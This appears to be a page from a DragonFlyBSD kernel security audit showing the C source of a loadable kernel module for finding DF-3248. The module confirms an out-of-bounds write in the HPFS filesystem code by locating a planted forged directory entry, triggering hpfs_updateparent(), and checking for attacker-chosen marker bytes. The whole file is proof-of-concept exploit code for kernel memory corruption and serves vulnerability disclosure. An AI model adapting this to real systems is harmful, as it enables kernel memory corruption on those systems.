โฌข DragonFlyBSD Kernel Audit
DF-3248 / finalizer.c
โ† back to finding โ†“ download raw
/*
 * DF-3248 finalizer KLD (no-sysctl edition). See header comment in
 * run_full.sh for the load order. MOD_LOAD does:
 *   1. locate the planted forged dirent (the dirblk chunk whose W@+20
 *      reclen was patched to 2028 by df3248patch; plant = chunk + 2048)
 *   2. locate the ZFILE hpfsnode via the exported hpfs hash
 *   3. print h_flag / h_atime / h_mtime โ€” proving the *unprivileged*
 *      futimes() left H_PARCHANGE pending with attacker marker values
 *   4. invoke hpfs_updateparent(hp) โ€” the exact call hpfs_inactive
 *      (hpfs_vnops.c:607) makes at deactivation time
 *   5. re-read the planted dirent and print PASS/FAIL
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/mount.h>
#include <sys/buf.h>
#include <sys/spinlock2.h>
#include "hpfs.h"
#include "hpfs_subr.h"

#define	BQUEUE_LOCKED	1
#define	BQUEUE_CLEAN	2
#define	BQUEUE_DIRTY	3
#define	BQUEUE_DIRTY_HW	4
#define	BUFFER_QUEUES	6

TAILQ_HEAD(bqueues, buf);

struct bufpcpu {
	struct spinlock spin;
	struct bqueues bufqueues[BUFFER_QUEUES];
} __cachealign;

extern struct bufpcpu bufpcpu[MAXCPU];
extern struct mntlist mountlist;

static uint8_t *
find_plant(void)
{
	struct buf *bp;
	int cpu, q;

	for (cpu = 0; cpu < ncpus; cpu++) {
		for (q = BQUEUE_LOCKED; q <= BQUEUE_DIRTY_HW; q++) {
			spin_lock(&bufpcpu[cpu].spin);
			TAILQ_FOREACH(bp, &bufpcpu[cpu].bufqueues[q],
			    b_freelist) {
				if (bp->b_data == NULL || bp->b_bcount != 2048)
					continue;
				if (*(uint32_t *)bp->b_data != 0x77E40AAE)
					continue;
				if (*(uint16_t *)(bp->b_data + 20) == 2028) {
					uint8_t *r = bp->b_data + 2048;
					spin_unlock(&bufpcpu[cpu].spin);
					return (r);
				}
			}
			spin_unlock(&bufpcpu[cpu].spin);
		}
	}
	return (NULL);
}

static struct hpfsnode *
find_zfile_node(void)
{
	struct mount *mp;

	TAILQ_FOREACH(mp, &mountlist, mnt_list) {
		struct hpfsmount *hpmp;
		struct vnode *vp;

		if (mp->mnt_vfc == NULL || mp->mnt_vfc->vfc_name == NULL)
			continue;
		if (strcmp(mp->mnt_vfc->vfc_name, "hpfs") != 0)
			continue;
		hpmp = (struct hpfsmount *)mp->mnt_data;
		vp = hpfs_hphashvget(hpmp->hpm_dev, 0x58);
		if (vp) {
			struct hpfsnode *r = VTOHP(vp);
			vrele(vp);
			return (r);
		}
	}
	return (NULL);
}

static int
df3248f_handler(module_t mod, int what, void *arg)
{
	struct hpfsnode *hp;
	uint8_t *p;
	int error;

	switch (what) {
	case MOD_LOAD:
		p = find_plant();
		hp = find_zfile_node();
		kprintf("DF3248F: plant=%p hpfsnode=%p\n", p, hp);
		if (p == NULL || hp == NULL) {
			kprintf("DF3248F: prerequisites missing, abort\n");
			return (0);
		}
		kprintf("DF3248F: h_no=0x%x h_flag=0x%x "
		    "(H_PARCHANGE=%d H_PARVALID=%d)\n",
		    hp->h_no, hp->h_flag,
		    !!(hp->h_flag & H_PARCHANGE),
		    !!(hp->h_flag & H_PARVALID));
		kprintf("DF3248F: pending attacker values: "
		    "h_mtime=0x%016jx h_atime=0x%016jx fn_size=0x%08x\n",
		    (uintmax_t)hp->h_mtime, (uintmax_t)hp->h_atime,
		    hp->h_fn.fn_size);
		if ((hp->h_flag & H_PARCHANGE) == 0) {
			kprintf("DF3248F: H_PARCHANGE not pending (already "
			    "flushed by natural deactivation?) โ€” checking "
			    "plant anyway\n");
		}
		kprintf("DF3248F: plant BEFORE: mtime=0x%016jx size=0x%08x "
		    "atime=0x%016jx\n",
		    (uintmax_t)*(uint64_t *)(p + 8),
		    *(uint32_t *)(p + 16),
		    (uintmax_t)*(uint64_t *)(p + 24));

		error = hpfs_updateparent(hp);
		kprintf("DF3248F: hpfs_updateparent() -> %d\n", error);

		kprintf("DF3248F: plant AFTER:  mtime=0x%016jx size=0x%08x "
		    "atime=0x%016jx\n",
		    (uintmax_t)*(uint64_t *)(p + 8),
		    *(uint32_t *)(p + 16),
		    (uintmax_t)*(uint64_t *)(p + 24));
		if (*(uint64_t *)(p + 8) == 0x4242424242424242ULL &&
		    *(uint32_t *)(p + 16) == 0x00CAFEBABE &&
		    *(uint64_t *)(p + 24) == 0x4141414141414141ULL)
			kprintf("DF3248F: *** OOB WRITE CONFIRMED: 20 "
			    "attacker-chosen bytes written %d bytes past the "
			    "2048-byte dirblk chunk ***\n", 2048);
		else
			kprintf("DF3248F: markers NOT present\n");
		return (0);
	}
	return (0);
}

static moduledata_t df3248f_mod = {
	"df3248fin2",
	df3248f_handler,
	NULL
};

DECLARE_MODULE(df3248fin2, df3248f_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(df3248fin2, 1);